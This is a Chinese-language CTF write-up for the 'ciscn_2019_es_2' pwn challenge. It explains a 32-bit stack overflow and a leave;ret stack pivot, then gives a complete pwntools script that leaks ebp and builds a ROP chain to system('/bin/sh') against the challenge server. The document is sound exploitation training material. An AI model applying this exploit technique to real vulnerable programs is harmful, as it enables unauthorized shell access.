解题分析
按照惯例checksec一下,开了NX与RELRO
运行程序,查看逻辑,两次input,并且回显Hello,input
32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造
payload=0x28*‘a’+ebp+backdoor
shift+12查看特殊字符,发现”echo flag“
根据"echo flag"找到函数hack,这里直接返回system(“echo flag”),可惜system里面的参数不是/bin/sh,所以不能直接利用
则需要修改system里面的参数,问题来了,read只能读取0x30个字节,若想直接修改system里的参数的话, 可利用栈空间不够,所以这里考虑到了栈迁移,同时迁移栈空间足够后需要知道/bin/sh的地址,这个可以通过read来输入/bin/sh,并且泄露一个地址,计算偏移量来找出输入/bin/sh的地址
记system地址:08048400
漏洞利用
1.存在栈溢出,但可利用栈空间不够,采用栈迁移
栈溢出长度不足来直接 ROP,把栈迁移到别的地方来构造新的ROP链,一般利用leave_ret来进行栈迁移
leave
//move esp ebp 将ebp指向的地址给esp
//pop ebp 将esp指向的地址存放的值赋值给ebp
ret
//pop eip 将esp指向的地址存放的值赋值给eip
2.泄露某一个地址来计算输入/bin/sh的地址
3.构造新的ROP
payload解析
#coding=utf-8
#!/usr/bin/env python
from pwn import * #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',27717)
# p=process("./ciscn_2019_es_2")
# elf = ELF('./ciscn_2019_es_2')
sys_addr=0x08048400
leave_ret=0x080484b8
p.recvuntil("Welcome, my friend. What's your name?\n")
payload1= 0x20*"a"+"b"*0x8
p.send(payload1)
p.recvuntil("b"*0x8)
ebp_addr=u32(p.recv(4))
log.success('ebp==>'+hex(ebp_addr))
payload2 = ("aaaa"+p32(sys_addr)+'aaaa'+p32(ebp_addr-0x28)+'/bin/sh').ljust(0x28,'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
p.send(payload2)
p.interactive()
1.第一次read泄露ebp地址
payload1= 0x20*"a"+"b"*0x8
p.send(payload1)
p.recvuntil("b"*0x8)
ebp_addr=u32(p.recv(4))
2.第二次read利用leave_ret劫持地址
这里劫持到一开始s读入的地址即ebp-0x38
#p32(sys_addr)+‘aaaa’+p32(bin_sh)
payload2 = (“aaaa”+ p32(sys_addr)+‘aaaa’+ p32(ebp_addr-0x28)+’/bin/sh’).ljust(0x28,’\x00’)
payload2 += p32(ebp_addr-0x38) 输入的起始地址,劫持地址
payload2 += p32(leave_ret)
aaaa是第二次leave_ret 时 pop ebp中赋给ebp的值 ,之后pop eip 即ret=sys_addr,"aaaa"是执行sys后的返回地址,ebp_addr-0x28是/bin/sh地址,这些偏移通过gdb调试得出
程序执行过程图
输入数据流初始状态
第一次leave_ret move esp ebp
第一次leave_ret pop ebp:
esp=esp+4指向leave_ret
第一次leave_ret pop eip:
执行leave_ret 准备第二次leave
第二次leave_ret move esp ebp
第二次leave_ret pop ebp
第二次leave_ret pop eip
flag get!
参考:
https://blog.youkuaiyun.com/qq_40410406/article/details/109616205